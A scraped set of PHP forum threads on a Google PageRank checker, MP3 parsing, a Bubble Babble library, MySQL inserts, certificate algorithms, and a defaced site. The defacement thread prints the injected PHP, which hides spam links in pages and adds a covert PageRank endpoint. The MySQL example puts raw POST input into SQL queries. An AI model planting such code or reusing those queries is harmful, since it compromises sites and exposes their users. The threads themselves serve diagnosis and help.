Check PageRank Through XML - php

I've searched this website and googled alot but unfortunately didn't find any real answer so please pardon me if it doesn't makes sense.
I'm using PHP to check page rank of a given URL, but it sometimes show error due to busy google website (http://toolbarqueries.google.com) The error it shows is;
Is there any way I can check page rank through either XML or even PHP with a better solution, which doesn't show any error like that?
Please help!

I've searched and find a great solution. try this:
class GooglePageRankChecker {
// Track the instance
private static $instance;
// Constructor
function getRank($page) {
// Create the instance, if one isn't created yet
if(!isset(self::$instance)) {
self::$instance = new self();
}
// Return the result
return self::$instance->check($page);
}
// Convert string to a number
function stringToNumber($string,$check,$magic) {
$int32 = 4294967296; // 2^32
$length = strlen($string);
for ($i = 0; $i < $length; $i++) {
$check *= $magic;
//If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31),
// the result of converting to integer is undefined
// refer to http://www.php.net/manual/en/language.types.integer.php
if($check >= $int32) {
$check = ($check - $int32 * (int) ($check / $int32));
//if the check less than -2^31
$check = ($check < -($int32 / 2)) ? ($check + $int32) : $check;
}
$check += ord($string{$i});
}
return $check;
}
// Create a url hash
function createHash($string) {
$check1 = $this->stringToNumber($string, 0x1505, 0x21);
$check2 = $this->stringToNumber($string, 0, 0x1003F);
$factor = 4;
$halfFactor = $factor/2;
$check1 >>= $halfFactor;
$check1 = (($check1 >> $factor) & 0x3FFFFC0 ) | ($check1 & 0x3F);
$check1 = (($check1 >> $factor) & 0x3FFC00 ) | ($check1 & 0x3FF);
$check1 = (($check1 >> $factor) & 0x3C000 ) | ($check1 & 0x3FFF);
$calc1 = (((($check1 & 0x3C0) << $factor) | ($check1 & 0x3C)) << $halfFactor ) | ($check2 & 0xF0F );
$calc2 = (((($check1 & 0xFFFFC000) << $factor) | ($check1 & 0x3C00)) << 0xA) | ($check2 & 0xF0F0000 );
return ($calc1 | $calc2);
}
// Create checksum for hash
function checkHash($hashNumber)
{
$check = 0;
$flag = 0;
$hashString = sprintf('%u', $hashNumber) ;
$length = strlen($hashString);
for ($i = $length - 1; $i >= 0; $i --) {
$r = $hashString{$i};
if(1 === ($flag % 2)) {
$r += $r;
$r = (int)($r / 10) + ($r % 10);
}
$check += $r;
$flag ++;
}
$check %= 10;
if(0 !== $check) {
$check = 10 - $check;
if(1 === ($flag % 2) ) {
if(1 === ($check % 2)) {
$check += 9;
}
$check >>= 1;
}
}
return '7'.$check.$hashString;
}
function check($page) {
// Open a socket to the toolbarqueries address, used by Google Toolbar
$socket = fsockopen("toolbarqueries.google.com", 80, $errno, $errstr, 30);
// If a connection can be established
if($socket) {
// Prep socket headers
$out = "GET /tbr?client=navclient-auto&ch=".$this->checkHash($this->createHash($page)).
"&features=Rank&q=info:".$page."&num=100&filter=0 HTTP/1.1\r\n";
$out .= "Host: toolbarqueries.google.com\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; GoogleToolbar 2.0.114-big; Windows XP 5.1)\r\n";
$out .= "Connection: Close\r\n\r\n";
// Write settings to the socket
fwrite($socket, $out);
// When a response is received...
$result = "";
while(!feof($socket)) {
$data = fgets($socket, 128);
$pos = strpos($data, "Rank_");
if($pos !== false){
$pagerank = substr($data, $pos + 9);
$result += $pagerank;
}
}
// Close the connection
fclose($socket);
// Return the rank!
return $result;
}
}
}
Now where you want to check the PR, use this code $some_var = GooglePageRankChecker::getRank("http://khanqah-daruslam.com");
Replace URL to yours (or any custom URL)

Try SEOstats: https://github.com/eyecatchup/SEOstats
SEOstats is a powerful open source PHP library to request a bunch of
SEO relevant metrics such as detailed backlink analyses, keyword and
traffic statistics, website trends, page authority, the Google
Pagerank, the Alexa Trafficrank and much more.

Try SEOstats: https://github.com/eyecatchup/SEOstats
Thanks but I already saw this and do not want to use any heavy library. I want a light weight PHP or XML code. Thanks anyway!
Actually you don't need to use the full library. SEOstats' Google PageRank method uses a standalone class that can be used as follows:
<?php
$url = 'http://somedomain.com/';
$pr = new GTB_PageRank($url);
$rank = $pr->getPageRank();
printf("The Google Pagerank of %s is %s.", $url, $rank);
The nice thing about this class, as I think, is that it supports all existing PageRank hashing algorithms (awesome, jenkins, jenkins2 and IE) and has some advanced features built in, such as suggested Toolbar-TLD and more.
You can check it out here:
https://github.com/eyecatchup/SEOstats/blob/master/SEOstats/Services/3rdparty/GTB_PageRank.php

Related

PHP MP3 extract volume peaks

say you have a mp3 file.
Is it possible to extract the volume level(set between 0 and 100) for every byte in a mp3 file using PHP ?
This is what I already have, it might help you
function peaks($filename)
{
if (!file_exists($filename)) {
return false;
}
$bitRates = array(
array(0,0,0,0,0),
array(32,32,32,32,8),
array(64,48,40,48,16),
array(96,56,48,56,24),
array(128,64,56,64,32),
array(160,80,64,80,40),
array(192,96,80,96,48),
array(224,112,96,112,56),
array(256,128,112,128,64),
array(288,160,128,144,80),
array(320,192,160,160,96),
array(352,224,192,176,112),
array(384,256,224,192,128),
array(416,320,256,224,144),
array(448,384,320,256,160),
array(-1,-1,-1,-1,-1),
);
$sampleRates = array(
array(11025,12000,8000), //mpeg 2.5
array(0,0,0),
array(22050,24000,16000), //mpeg 2
array(44100,48000,32000), //mpeg 1
);
$bToRead = 1024 * 12;
$fileData = array('bitRate' => 0, 'sampleRate' => 0, 'bits' => 0);
$fp = fopen($filename, 'r');
if (!$fp) {
return false;
}
//seek to 8kb before the end of the file
fseek($fp, -1 * $bToRead, SEEK_END);
$data = fread($fp, $bToRead);
$bytes = unpack('C*', $data);
$frames = array();
$lastFrameVerify = null;
for ($o = 1; $o < count($bytes) - 4; $o++) {
//http://mpgedit.org/mpgedit/mpeg_format/MP3Format.html
//header is AAAAAAAA AAABBCCD EEEEFFGH IIJJKLMM
if (($bytes[$o] & 255) == 255 && ($bytes[$o+1] & 224) == 224) {
$frame = array();
$frame['version'] = ($bytes[$o+1] & 24) >> 3; //get BB (0 -> 3)
$frame['layer'] = abs((($bytes[$o+1] & 6) >> 1) - 4); //get CC (1 -> 3), then invert
$srIndex = ($bytes[$o+2] & 12) >> 2; //get FF (0 -> 3)
$brRow = ($bytes[$o+2] & 240) >> 4; //get EEEE (0 -> 15)
$frame['padding'] = ($bytes[$o+2] & 2) >> 1; //get G
if ($frame['version'] != 1 && $frame['layer'] > 0 && $srIndex < 3 && $brRow != 15 && $brRow != 0 &&
(!$lastFrameVerify || $lastFrameVerify === $bytes[$o+1])) {
//valid frame header
//calculate how much to skip to get to the next header
$frame['sampleRate'] = $sampleRates[$frame['version']][$srIndex];
if ($frame['version'] & 1 == 1) {
$frame['bitRate'] = $bitRates[$brRow][$frame['layer']-1]; //v1 and l1,l2,l3
} else {
$frame['bitRate'] = $bitRates[$brRow][($frame['layer'] & 2 >> 1)+3]; //v2 and l1 or l2/l3 (3 is the offset in the arrays)
}
if ($frame['layer'] == 1) {
$frame['frameLength'] = (12 * $frame['bitRate'] * 1000 / $frame['sampleRate'] + $frame['padding']) * 4;
} else {
$frame['frameLength'] = 144 * $frame['bitRate'] * 1000 / $frame['sampleRate'] + $frame['padding'];
}
$frames[] = $frame;
$lastFrameVerify = $bytes[$o+1];
$o += floor($frame['frameLength'] - 1);
} else {
$frames = array();
$lastFrameVerify = null;
}
}
if (count($frames) < 3) { //verify at least 3 frames to make sure its an mp3
continue;
}
$header = array_pop($frames);
$fileData['sampleRate'] = $header['sampleRate'];
$fileData['bitRate'] = $header['bitRate'];
$fileData['bits'] = $bytes;
break;
}
return $fileData;
}
If this works it will be used to generate waveforms from mp3 files.
this class can be a good starting point too :
http://www.phpclasses.org/browse/file/26606.html
use case here :
http://www.phpclasses.org/browse/file/26607.html

Run my example in code igniter

I have installed wamp and code igniter in Windows. Now instruction says
Usage:
$this->load->library('bubble');
Encode :
$this->bubble->encode('Pineapple');
Where to run this in Windows?
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
// Original
Bubble Babble Binary Data Encoding - PHP5 Library
See http://en.wikipedia.org/wiki/Bubble_Babble for details.
Copyright 2011 BohwaZ - http://bohwaz.net/
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
// For CodeIgniter
Bubble Babble for CodeIgniter, by Akira : http://www.akibatech.fr
Licence : WTFPL (http://en.wikipedia.org/wiki/WTFPL)
Using with CodeIgniter :
Copy Bubble.php in your library folder.
Then, you need to load this library in CodeIgniter :
$this->load->library('bubble');
Encode :
$this->bubble->encode('Pineapple');
// => xigak-nyryk-humil-bosek-sonax
Decode :
$this->bubble->decode('xigak-nyryk-humil-bosek-sonax');
// => Pineapple
Detect BubbleBabble's encoding :
$this->bubble->detect($string);
// => true of false
*/
class Bubble
{
protected $vowels = 'aeiouy';
protected $consonants = 'bcdfghklmnprstvzx';
public function encode($src)
{
$src = (string) $src;
$out = 'x';
$c = 1;
for ($i = 0;; $i += 2)
{
if ($i >= strlen($src))
{
$out .= $this->vowels[$c%6] . $this->consonants[16] . $this->vowels[$c/6];
break;
}
$byte1 = ord($src[$i]);
$out .= $this->vowels[((($byte1>>6)&3)+$c)%6];
$out .= $this->consonants[($byte1>>2)&15];
$out .= $this->vowels[(($byte1&3)+($c/6))%6];
if ($i+1 >= strlen($src))
break;
$byte2 = ord($src[$i + 1]);
$out .= $this->consonants[($byte2>>4)&15];
$out .= '-';
$out .= $this->consonants[$byte2&15];
$c = ($c * 5 + $byte1 * 7 + $byte2) % 36;
}
$out .= 'x';
return $out;
}
protected function _decode2WayByte($a1, $a2, $offset)
{
if ($a1 > 16)
show_error("Corrupt string at offset ".$offset);
if ($a2 > 16)
show_error("Corrupt string at offset ".($offset+2));
return ($a1 << 4) | $a2;
}
protected function _decode3WayByte($a1, $a2, $a3, $offset, $c)
{
$high2 = ($a1 - ($c%6) + 6) % 6;
if ($high2 >= 4)
show_error("Corrupt string at offset ".$offset);
if ($a2 > 16)
show_error("Corrupt string at offset ".($offset+1));
$mid4 = $a2;
$low2 = ($a3 - ($c/6%6) + 6) % 6;
if ($low2 >= 4)
show_error("Corrupt string at offset ".($offset+2));
return $high2<<6 | $mid4<<2 | $low2;
}
protected function _decodeTuple($src, $pos)
{
$tuple = array(
strpos($this->vowels, $src[0]),
strpos($this->consonants, $src[1]),
strpos($this->vowels, $src[2])
);
if (isset($src[3]))
{
$tuple[] = strpos($this->consonants, $src[3]);
$tuple[] = '-';
$tuple[] = strpos($this->consonants, $src[5]);
}
return $tuple;
}
public function decode($src)
{
$src = (string) $src;
$c = 1;
if ($src[0] != 'x')
show_error("Corrupt string at offset 0: must begin with a 'x'");
if (substr($src, -1) != 'x')
show_error("Corrupt string at offset 0: must end with a 'x'");
if (strlen($src) != 5 && strlen($src)%6 != 5)
show_error("Corrupt string at offset 0: wrong length");
$src = str_split(substr($src, 1, -1), 6);
$last_tuple = count($src) - 1;
$out = '';
foreach ($src as $k=>$tuple)
{
$pos = $k * 6;
$tuple = $this->_decodeTuple($tuple, $pos);
if ($k == $last_tuple)
{
if ($tuple[1] == 16)
{
if ($tuple[0] != $c % 6)
show_error("Corrupt string at offset $pos (checksum)");
if ($tuple[2] != (int)($c / 6))
show_error("Corrupt string at offset ".($pos+2)." (checksum)");
}
else
{
$byte = $this->_decode3WayByte($tuple[0], $tuple[1], $tuple[2], $pos, $c);
$out .= chr($byte);
}
}
else
{
$byte1 = $this->_decode3WayByte($tuple[0], $tuple[1], $tuple[2], $pos, $c);
$byte2 = $this->_decode2WayByte($tuple[3], $tuple[5], $pos);
$out .= chr($byte1);
$out .= chr($byte2);
$c = ($c * 5 + $byte1 * 7 + $byte2) % 36;
}
}
return $out;
}
public function detect($string)
{
if ($string[0] != 'x' || substr($string, -1) != 'x')
return false;
if (strlen($string) != 5 && strlen($string)%6 != 5)
return false;
if (!preg_match('/^(['.$this->consonants.$this->vowels.']{5})(-(?1))*$/', $string))
return false;
return true;
}
}
?>

PHP Explode and adding data in mysql database

My problem is: I want to add multi rows in database (every website with its pagerank on different rows not all in one rows as in the first picture)!
I don't know how to do that, i tried with explode but works only at the printing of the table from browser but now for the links that goes in database! Please help me!
In my database:
In my browser:
My entire code:
<?php
error_reporting(E_ALL & ~E_NOTICE);
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296; // 2^32
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length - 1; $i >= 0; $i --) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function getpagerank($url) {
$query="http://toolbarqueries.google.com/tbr?client=navclient-auto&ch=".CheckHash(HashURL($url)). "&features=Rank&q=info:".$url;
set_time_limit(0);
$data=file_get_contents($query);
$pos = strpos($data, "Rank_");
if($pos === false){} else{
$pagerank = substr($data, $pos + 9);
return $pagerank;
}
}
if($_POST['urls'])
{
?><table border="1">
<th>URL</th>
<th>Pagerank</th>
<?
$urls=trim($_POST['urls']);
$url=explode("\n",$urls);
foreach($url as $url)
{
if($url)
{
$url=trim($url);
$pagerank=getpagerank($url);
?>
<tr><td><?php echo $url; ?></td><td><?php echo $pagerank; ?></td></tr>
<?
//mysql_query("INSERT INTO projects2 (googlePR, Link)
//VALUES ('".$pagerank."','".$urls."') ") or die(mysql_error());
flush();
}
}
?></table><?
}
else
{
?><form action="" method="post">
URLS:<br /><textarea name="urls" cols="50" rows="10">Introduceti lista de linkuri aici</textarea><br /><input type="submit" value="Check PR & insert values"/>
</form>
<?
}
?>
<?php
$urls=trim($_POST['urls']);
$url=explode("\n",$urls);
foreach($url as $url) {
if($url)
{
$url=trim($url);
$pagerank=getpagerank($url);
mysql_query("INSERT INTO projects2 (googlePR, Link)
VALUES ('".$pagerank."','".$urls."') ") or die(mysql_error());
}
}
?>
The problem is in your foreach statement yo uare writing:
foreach($url as $url) {
That will overwrite your $url array with the first value of the array since the variable names are the same. Then at the end of your loop when it tries to iterate to the next row, it is iterating against a non-array object. Just maybe change the name of the array create from teh explode to $url_array or something similar and do
foreach($url_array as $url) {
Your answer was half true because i modified the
I replaced $urls with $url in:
mysql_query("INSERT INTO projects2 (googlePR, Link)
VALUES ('".$pagerank."','".$url."') ")
now everything goes fine

How to get the signature algorithm out of a certificate?

I want to use the PHP function openssl_verify() to verify the signatures of different X.509 certificates.
I have all it needs (certificate, $data, $signature, $pub_key_id) except of the signature algorithm but which is stored in the certificate.
My simple question is: How can I extract signature algorithm from certificates?
How about this?
$cer = file_get_contents('certificate.cer');
$res = openssl_x509_read($cer);
openssl_x509_export($res, $out, FALSE);
$signature_algorithm = null;
if(preg_match('/^\s+Signature Algorithm:\s*(.*)\s*$/m', $out, $match)) $signature_algorithm = $match[1];
var_dump($signature_algorithm);
It produces the output:
string(21) "sha1WithRSAEncryption"
Which you would have to map to OPENSSL_ALGO_SHA1 yourself.
Look at this question, you can do it similar, try this:
private function GetCertSignatureAlgorithm($certSignatureBinary, $pubKeyResourceId)
{
if(false === openssl_public_decrypt($certSignatureBinary, $sigString, $pubKeyResourceId))
{
return false;
}
if (empty($sigString) ||
strlen($sigString) < 5)
{
return false;
}
if (ord($sigString[0]) !== 0x30 ||
ord($sigString[2]) !== 0x30 ||
ord($sigString[4]) !== 0x06)
{
return false;
}
$sigString = substr($sigString, 4);
$len = ord($sigString[1]);
$bytes = 0;
if ($len & 0x80)
{
$bytes = ($len & 0x7f);
$len = 0;
for ($i = 0; $i < $bytes; $i++)
{
$len = ($len << 8) | ord($sigString[$i + 2]);
}
}
$oidData = substr($sigString, 2 + $bytes, $len);
$hashOid = floor(ord($oidData[0]) / 40) . '.' . ord($oidData[0]) % 40;
$value = 0;
for ($i = 1; $i < strlen($oidData); $i++)
{
$value = $value << 7;
$value = $value | (ord($oidData[$i]) & 0x7f);
if (!(ord($oidData[$i]) & 0x80))
{
$hashOid .= '.' . $value;
$value = 0;
}
}
//www.iana.org/assignments/hash-function-text-names/hash-function-text-names.xml
//www.php.net/manual/en/openssl.signature-algos.php
switch($hashOid)
{
case '1.2.840.113549.2.5': return 'md5';
case '1.3.14.3.2.26': return 'sha1';
case '2.16.840.1.101.3.4.2.1': return 'sha256';
case '2.16.840.1.101.3.4.2.2': return 'sha384';
case '2.16.840.1.101.3.4.2.3': return 'sha512';
//not secure = not accepted
//case '1.2.840.113549.2.2': //'md2';
//case '1.2.840.113549.2.4': //'md4';
//case '1.3.14.3.2.18': //'sha';
}
throw new Exception('CertSignatureAlgorithm not found');
}
One way might be openssl x509 -text -noout < $certfile | grep "Signature Algorithm"
Using phpseclib, a pure PHP X.509 parser...
<?php
include('File/X509.php');
$x509 = new File_X509();
$cert = $x509->loadX509(file_get_contents('sample.pem'));
echo $cert['signatureAlgorithm']['algorithm'];

my site got defaced. how to protect myself on shared hosting?

i have godaddy shared hosting and the site got defaced. whose at fault? the site is created with php is it possible the person can get in through some vunerability on my site and modify a file? or is that all through server side being that godaddy wasnt secure enough?
this is what was injected in a file. what does it do?
<?php
//{{1311051f
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805">blow jobs teen<br></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}75671d8f
?>
Chances are it was an exploit from a package you use on your site (such as phpBB, phpNuke, etc.) people crawl the web looking for the vulnerable hosts and exploit the ones they can. The code is open-source and readily available so there's not much you can do for protection other than use the latest version.
Companies like PacketStormSecurity make it easy for "skript kiddies" to find a PoC (Proof of Concept) script and they take it upon themselves to try it on every site they can. Some are as easy as a crafted google query to find a list of potential targets.
You may be able to look through your logs for a GET url that resulted in the exploit, but best-case scenario is just stay as up-to-date as possible, and never rely on your host to make restore-able backups of your site.
The real deal to this hack is here: http://frazierit.com/blog/?p=103
No SQL injection, no secret sauce, these guys were listening to the wire, or there is an agent on some machine that you use passing keystrokes their way, and you were using a clear text password FTP to work with your site. They gained FTP access to your site, and systematically injected code into .php and .html pages on your site. They are building/have built a distributed network of page ranking testers via numerous ISPs. Probably to validate SEO operations. Easy to clean, just need to go some command line regex work.
-Drew
The script allows someone to specify a URL to the script using the variable xxxprch. It checks the hash of the URL to make sure it conforms to some standard and searches google for the URL. It then checks to see if there is the word "rank_" in the search results and gets the next 9 characters following "rank_" and returns them to be displayed on the user screen.
If the user didn't specify a variable in xxxprch then it automatically writes out to the page links to a sexually explicit website.
Note: If you get a Virtual Private Server (can be found for as cheap as $3 a month), you can install mod_security which prevents a lot of these types of attacks. On the other hand you would then need to keep the OS up to date.
I hate to say this but you are at fault. SQL/HTML/JS/code injection is your responsibility to handle. Also choosing a strong password is critical. It is totally possible for anyone to find a vulnerability and do anything.
It looks like that code is injecting links and somehow getting the Google page rank for some reason.
I think it falls under one of the Pragmatic Programmer's principles:
``select’’ Isn’t Broken It is rare to
find a bug in the OS or the compiler,
or even a third-party product or
library. The bug is most likely in the
application.
Replace OS/compiler/3rd-party library with shared hosting.

Categories